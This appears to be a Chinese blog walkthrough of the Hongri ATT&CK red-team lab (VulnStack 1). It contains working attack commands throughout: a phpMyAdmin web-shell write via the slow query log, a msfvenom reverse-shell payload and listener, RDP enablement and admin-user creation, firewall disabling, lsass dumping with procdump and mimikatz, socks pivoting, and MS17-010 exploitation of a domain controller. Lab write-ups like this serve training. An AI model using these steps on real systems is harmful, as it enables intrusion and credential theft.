ATT&CK实战系列——红队实战(一)

ATT&CK实战系列——红队实战(一)

靶机简介

红日靶场 ATT&CK实战系列——红队实战(一)

红队实战系列,主要以真实企业环境为实例搭建一系列靶场。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。虚拟机所有统一密码:hongrisec@2019。

靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/?page=2

环境搭建

ATT&CK实战系列——红队实战(一)

  1. kali 设置为NAT模式
  2. win2003win2008设置为仅主机模式
  3. win7 添加一个网卡,一个设置为NAT模式,另一个设置为仅主机模式

外网打点

phpmyadmin拿shell

netdiscover发现主机ip

访问后发现后一phpStudy探针

ATT&CK实战系列——红队实战(一)

目录扫描发现有phpmyadmin

发现存在弱口令root/root

ATT&CK实战系列——红队实战(一)

尝试写入shell select .. into outfile ..,发现有 --secure-file-priv 限制

ATT&CK实战系列——红队实战(一)

利用(慢日志查询)绕过

set global slow_query_log='on';
set global slow_query_file='C://phpstudy/WWW/shell.php';
select '<?php @eval(@_POST[dimp]);?>' or sleep(5);

这里写shell遇到一个问题,当我设置路径为 C:\\phpstudy\WWW时,最后写入的文件在C盘中,文件名为phpstudywwwshell.php,并没有写入web目录。

我把路径斜杠换一下换成反斜杠即写入成功

ATT&CK实战系列——红队实战(一)

然后即可通过蚁剑连接 (msf.exe是后来上传上去的后门)

ATT&CK实战系列——红队实战(一)

反弹shell

通过msf生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=监听ip lport= 监听端口 -f exe >msf.exe
ATT&CK实战系列——红队实战(一)

msf开启监听

use exploit/multi/hander
set payload windows/meterpreter/reverse_tcp
set lhost
set lport 
run 

将生成的木马上传到蚁剑执行,上线!

ATT&CK实战系列——红队实战(一)

提权

使用 getsystem 提权,即可提权成功

ATT&CK实战系列——红队实战(一)

远程连接

查看端口情况发现3389并未开启

ATT&CK实战系列——红队实战(一)

开启3389的命令

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f  # 开启3389命令

ATT&CK实战系列——红队实战(一)

之后添加用户,并将用户添加到管理员组

net user username password /add
net localgroup Administrators username /add

ATT&CK实战系列——红队实战(一)

然后通过3389去连目标,但是却连接失败,估计是被防火墙拦截了

ATT&CK实战系列——红队实战(一)

在meterpreter中关闭防火墙

ATT&CK实战系列——红队实战(一)

然后即可连3389了

ATT&CK实战系列——红队实战(一)

登陆用户的时候发现要把别人挤下来,

ATT&CK实战系列——红队实战(一)

(此时可以上传一个rdp的用户多开工具 RDPWrap,即可成功登陆。)

抓取密码

抓取密码的话可以直接上传 mimikatz到靶机进行抓取,但是容易被杀软识别,如果工具可免杀的话可直接上传到服务器抓取。如果不免杀的话可以先用 procdump导出 lsass.dmp 拖回本地抓取密码来规避杀软。

procdump 上传到蚁剑中,并运行一下命令导出 lsass.dmp

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

ATT&CK实战系列——红队实战(一)

奇怪的是 dir 打开能看到这个文件,但是用蚁剑打开却没有此文件

ATT&CK实战系列——红队实战(一)

不知道这是咋回事,换菜刀连接shell即可看到该文件,下载下来。

ATT&CK实战系列——红队实战(一)

然后在mimikatz中使用以下命令即可获取密码

sekurlsa::minidump ./dir/lsass.dmp
sekurlsa::logonpasswords

成功抓取到明文密码

ATT&CK实战系列——红队实战(一)

撸入内网

ms17_010 拿下win2003

查看路由表

arp -a

ATT&CK实战系列——红队实战(一)

可以看到另一个段 192.168.52.0/24

添加路由(忘记截图了)

run autoroute -s 192.168.52.0/24 # 添加路由
run autoroute -p # 查看路由

假设msf代理,构建内网通道(忘记截图了)

use auxiliary/server/socks4a
set srvhost 192.168.136.131
ser srvport 1080
run

然后编辑 proxychains,在最后一行设置相应ip和端口

sudo vim /etc/proxychains.conf

查看代理是否成功,curl一下网页的内网地址

ATT&CK实战系列——红队实战(一)

然后通过nmap扫描端口,发现开启了smb端口

ATT&CK实战系列——红队实战(一)

通过smb_version模块扫描系统版本

user auxiliary/scanner/smb/smb_version
set rhost 192.168.52.141
run

ATT&CK实战系列——红队实战(一)

得到该系统为win2003,然后检测是否存在永恒之蓝漏洞

use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.141
run

ATT&CK实战系列——红队实战(一)

确定存在漏洞,直接打shell

search 17_010

ATT&CK实战系列——红队实战(一)

ms17_010_eternalblue直接打,但是却拿不到shell

ATT&CK实战系列——红队实战(一)

但发现可以用 ms17_010_command执行命令

ATT&CK实战系列——红队实战(一)

那就直接开启3389,添加用户登陆(注意开启3389的命令,对其中的反斜杠和双引号要添加反斜杠转义)

set command  "REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"
run

ATT&CK实战系列——红队实战(一)

nmap探测开启情况

ATT&CK实战系列——红队实战(一)

添加用户并添加到管理员组

set command "net user username password /add"
run
set command "net localgroup Administrator username /add"
run

登陆3389

proxychains desktop 192.168.52.141

ATT&CK实战系列——红队实战(一)

ms17_010 拿下域控

发现域控也开了445,同样用smb_version探测系统

ATT&CK实战系列——红队实战(一)

同样发现直接打不了shell,但是可以 ms17_010_command 执行命令

ATT&CK实战系列——红队实战(一)

同样开启3389,添加用户

ATT&CK实战系列——红队实战(一)

但是nmap探测却发现3389端口未开启,估计又是防火墙的原因,关闭防火墙

netsh firewall set opmode mode=disable

ATT&CK实战系列——红队实战(一)

添加用户登陆(之前还用抓到了管理密码,可以直接用管理账号)

ATT&CK实战系列——红队实战(一)

拿下域控

ATT&CK实战系列——红队实战(一)

上一篇:Codeforces Round #625 (Div. 2, based on Technocup 2020 Final Round) B. Journey Planning(思维)


下一篇:att&ck实战攻击2